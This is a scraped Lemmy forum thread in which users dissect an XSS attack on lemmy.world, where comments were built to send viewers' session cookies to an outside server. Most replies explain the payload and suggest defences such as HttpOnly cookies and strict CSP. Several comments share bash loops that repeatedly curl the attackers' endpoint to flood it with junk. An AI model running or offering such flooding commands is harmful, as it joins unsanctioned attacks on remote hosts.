lemmy.sdf.org

wetnoodle, to asklemmy in What are these comments on lemmy posts?
@wetnoodle@lemmy.blahaj.zone avatar

idk for sure but people are saying lemmy.world got hacked maybe it has to do with that?

wetnoodle,
@wetnoodle@lemmy.blahaj.zone avatar
malloc, to asklemmy in What are these comments on lemmy posts?

Lemmy.world instance under attack right now. It was previously redirecting to 🍋 🎉 and the title and side bar changed to antisemitic trash.

They supposedly attributed it to a hacked admin account and was corrected. But the instance is still showing as defaced and now the page just shows it was “seized by reddit”.

Seems like there is much more going on right now and the attackers have much more than a single admin account.

Wahots,
@Wahots@pawb.social avatar

Must be some boomer if they know what lemon party is, lmao. It’s been a hot minute since lemon party, one man one jar, or two girls one cup were being talked about.

Wxnzxn,
@Wxnzxn@lemmy.ml avatar

Linking to lemonparty and saying “seized by reddit” strikes me as the playbook of an old 4chan troll/raid, trying to instigate more drama between two places they both hate at once.

Cmot_Dibbler,

Lemon party… Truly the fediverse is bringing us back to the golden age of the internet.

RoundSparrow,

Another instance was hacked too: lemmy.blahaj.zone

malloc,

I just want to add a quick note:

From OPs screenshot, I noticed the JS code is attempting to extract the session cookie from the users that click on the link. If it’s successful, it attempts to exfiltrate to some server otherwise sends an empty value.

You can see the attacker/spammer obscures the url of the server using JS api as well.

May be how lemmy.world attackers have had access for a lengthy period of time. Attackers have been hijacking sessions of admins. The one compromised user opened up the flood gates.

Not a sec engineer, so maybe someone else can chime in.

Gellis12,

Here’s a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down: while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed ‘s/.{3}$//’ | base64); sleep 1; done

Once every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It’ll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.

Kangie,

Try

<pre style="background-color:#ffffff;">
<span style="font-weight:bold;color:#a71d5d;">while </span><span style="color:#323232;">true</span><span style="font-weight:bold;color:#a71d5d;">; do </span><span style="color:#323232;">curl https://zelensky.zip/save/$(</span><span style="color:#62a35c;">echo </span><span style="color:#323232;">$(hostname) $(date) </span><span style="font-weight:bold;color:#a71d5d;">| </span><span style="color:#323232;">shasum </span><span style="font-weight:bold;color:#a71d5d;">| </span><span style="color:#323232;">sed </span><span style="color:#183691;">'s/.{3}$//' </span><span style="font-weight:bold;color:#a71d5d;">| </span><span style="color:#323232;">base64) </span><span style="font-weight:bold;color:#a71d5d;">></span><span style="color:#323232;"> /dev/null </span><span style="font-weight:bold;color:#a71d5d;">; </span><span style="color:#323232;">sleep 1</span><span style="font-weight:bold;color:#a71d5d;">; done
</span>

It’ll prevent you from having to see the drivel that curl returns from that site.

Gellis12,

Oh weird, it wasn’t returning anything a few minutes ago. I wonder if we pissed then off lol

Kangie,

Not sure, I wasn’t that long after you and I started getting HTML responses back from the page. Standard Russian Propaganda that doesn’t need to be repeated here - if you’ve seen the claims once you’ve seen 'em a million times!

I did take the steps of reporting this abuse to cloudflare (who they’re using for DDOS protection) and their registrar.

milicent_bystandr,

Why would you include your hostname in the hash? That just sounds like an invitations for a mistake to leak semi-private telemetry data.

Come to think of it… Isn’t obscured telemetry exactly what your suggestion is doing? If they get or guess your hostname by other means, then they have a nice timestamped request from you, signed with your hostname, every second

Gellis12,

It’s essentially to add a unique salt to each machine that’s doing this, otherwise they’d all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it’s very unlikely they’d even try to crack one. But even if they did try and were successful, there isn’t really anything nefarious they can do with your machines local name.

gandalftheBlack, (edited )

Here’s the one where it uses epoch time (better randomization) and also hides the output of curl

<pre style="background-color:#ffffff;">
<span style="color:#323232;">while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date +%s) | shasum | sed 's/.{3}$//' | base64) &> /dev/null ; echo "done."; done
</span><span style="color:#323232;">
</span>
BrikoX, to asklemmy in What are these comments on lemmy posts?
@BrikoX@lemmy.zip avatar

Clicking on it would run javascript on load (most browsers block it by default), but I would avoid clicking either way.

tarjeezy, to asklemmy in What are these comments on lemmy posts?

The encoded string contains the URL zelensky dot zip. Zip is one of the newer top-level domains. It itself is not a zip file, but I am not going to visit that site to find out whatever treasures it has to offer…

Dirk,
@Dirk@lemmy.ml avatar

Another reason to block this TLD in the firewall solution.

Snipe_AT,
@Snipe_AT@lemmy.atay.dev avatar

sorry i’m missing it. why this specific TLD? can’t they just use any TLD for this and achieve the same thing? why is this a reason to block it?

Dirk,
@Dirk@lemmy.ml avatar

Because .zip is a commonly used file extension.

Snipe_AT,
@Snipe_AT@lemmy.atay.dev avatar

i think i understand that part but why is this specific event “another reason to block this TLD”? can’t they just use any TLD for this and achieve the same thing? is there another inherit security issue with .zip that doesn’t exist with other domains?

Dirk,
@Dirk@lemmy.ml avatar

They can and they do. Using a commonly known and used file extension to “hide” a malicious URL is just easier.

www.youtube.com/watch?v=GCVJsz7EODA

Snipe_AT,
@Snipe_AT@lemmy.atay.dev avatar

gotcha ok i think i’m getting it. just to make sure i’m not missing anything, you’re saying that in this case it didn’t matter as in the end they could use any TLD and achieve the same effect.

but in general, threat actors hope to confuse people into thinking this “.zip” TLDs are only referencing local files instead of web addresses. right?

Dirk,
@Dirk@lemmy.ml avatar

but in general, threat actors hope to confuse people into thinking this “.zip” TLDs are only referencing local files instead of web addresses. right?

Exactly!

LDRMS, to asklemmy in What are these comments on lemmy posts?

Click on one of the links and find out. Don’t forget to let us all know what happened. /s🤣🤣

Faceman2K23,
@Faceman2K23@discuss.tchncs.de avatar

just a website with the usual bullshit rambings of anti-ukraine conspiracists.

tias,

And now it has your session cookie

Faceman2K23,
@Faceman2K23@discuss.tchncs.de avatar

Which is why I always check dodgy links in a non logged in browser in an isolated vm.

tarjeezy,

Good luck, I’m behind 7 proxies

Tartas1995, to asklemmy in What are these comments on lemmy posts?

Hey, I can tell you want it does. While I don’t know if they try to download something too (while it really doesn’t look like it), they are trying to steal your browser cookies.

I haven’t removed the obfuscation yet as I am literally in bed but I can tell the general idea of the code.

Onload is a html attribute. Html attribute tell your browser more about what the browser should be doing. So basically onload is an instruction to your browser. By posting those comments, they try to run something called cross site scripting. Basically they want to run their code in your browser without them being the website owner. So now we know the intend of the post, let’s look into the details.

Onload is an attribute that tells the browser to do something once it is fully loaded.

Fetch is a function that allows your browser to request additional information from the server. Endless scrolling would be done with that.

String.fromcharcode is just there to hide a little bit. Think of it as a fancy way to say a word. they are saying a website to connect to there.

Then document.cookie are your cookies for that website.

The next thing is probably your username or something.

So what does that mean? They try to make your browser execute their code when the website is onloaded. The code sends your cookies and your username(?) To a server. They probably save the username and cookie and try to steal the account later.

You seeing the code is good evidence that your browser hasn’t execute the code as the browser didn’t understand it as code to be executed but code to display. So you are probably safe and don’t need to worry

Edit: ups sorry for not answering the question. I don’t know which client they are targeting. They might or might not be targeting wefwef. But they target you, the user, too. And it is probably for Webbrowser users, so chances are wefwef or other web clients.

Edit edit: some people pointed out that it is not the username but basically the admin status of the account.

Icarus,

so does this run automatically ? without the user doing anything ?

Tartas1995,

If it would work, which it seems like it doesn’t. Yes, it is intended to be automatical.

Xylight,
@Xylight@lemmy.xylight.dev avatar

Doesn’t Lemmy use HttpOnly cookies? This would fix any js based exploit.

Dirk,
@Dirk@lemmy.ml avatar

Also, strict CSP would prevent it entirely.

Xylight,
@Xylight@lemmy.xylight.dev avatar

out of curiosity, what CSP options would fix this?

Dirk,
@Dirk@lemmy.ml avatar

To prevent execution of scripts not referenced with the correct nonce:

<pre style="background-color:#ffffff;">
<span style="color:#323232;">script-src 'self' 'nonce-$RANDOM'
</span>

To make it super strict, this set could be used:

<pre style="background-color:#ffffff;">
<span style="color:#323232;">default-src 'self';
</span><span style="color:#323232;">script-src 'nonce-$RANDOM'
</span><span style="color:#323232;">object-src 'none';
</span><span style="color:#323232;">base-uri 'none';
</span><span style="color:#323232;">form-action 'none';
</span><span style="color:#323232;">frame-ancestors 'none';
</span><span style="color:#323232;">frame-src 'none';
</span><span style="color:#323232;">require-trusted-types-for 'script'
</span>

Especially the last one might cause the most work, because the “modern web development environment” simply cannot provide this. Also: form-action ‘none’; should be validated. It should be set to self if forms are actually used to send data to the server and not handled by Javascript.

The MDN has a good overview: developer.mozilla.org/…/Content-Security-Policy

Gellis12,

The encoded strings are https://zelensky(dot)zip/save/ and navAdmin

Granixo, to asklemmy in What are these comments on lemmy posts?
@Granixo@feddit.cl avatar

Spez’s Revenge

Papanca, to asklemmy in What are these comments on lemmy posts?

A few minutes ago Ruud posted that there was a hack, i wonder if it has something to do with that?

lemmy.world/post/1290412

loutr,
@loutr@sh.itjust.works avatar

Yes, these comments are JavaScript code, intended to run in the browser of anyone viewing them. Best to stay clear of the webapp for now (native mobile apps should not be vulnerable).

nothendev, to asklemmy in What are these comments on lemmy posts?

if it has document.cookie in it - it is trying to steal your cookies, to use your account. that’s a JavaScript link that, well, sends your account cookies to a random ass site.

aloeha, to asklemmy in What are these comments on lemmy posts?

Hey, has this been fixed? I’m nervous about using Lemmy on my work computer now.

ech,

Instances running 18.2 should be fine, and as far as I understand it (with no dev qualifications to speak of, fwiw), these exploits only affected the local instance - they weren’t permeating through other instances viewing the exploits through Activitypub. That’s all to say, as long as your instance is running 18.2 or higher (the 18.2-rc’s should have in progress patches, as well), I believe you should be fine.

aloeha,

Shit, it doesn’t look like lemmy.world (my home instance) is running 18.2 yet, according to the bottom of the window. Is that correct?

Fleecer74,

It’s been fixed on Lemmy.world they just disabled custom emojis which fixes the issue

Aidan, to mildlyinteresting in NJ TRANSIT Keeping the Commute Exciting

What station is this? What happened?

grgrs,

North of Avenel. Power failure. Sat around for an hour without AC. Eventually a rescue train came.

Waluigi, to memes in Now I am become death, the destroyer of nudes.

I liked the part where Nolan burned the atmosphere and destroyed the entire globe. No CGI could ever come close to that!

ACatNamedBunny, to comicstrips in True love at last (Rae the Doe)

This cracks me up, once I posted on reddit that I pour milk before cereal and got down voted to hell. The users did NOT agree with me :(

queermunist, to memes in Hasn't happened yet
@queermunist@lemmy.ml avatar

Translation: you’ll become more conservative when you have children and own a home

Millennials: 😆
Zoomers: 😂
Alpha: 🤣
Whateverthefuckcomesnext: 💀

mo_ztt, to series_of_tubes in INTERPRETATIONS OF POWERS OF 10
@mo_ztt@lemmy.world avatar

For those unfamiliar with the monster group – if you like math, it’s pretty neat

  • All
  • Subscribed
  • Moderated
  • Favorites
  • localhost
  • All magazines
  • Loading…
    Loading the web debug toolbar…
    Attempt #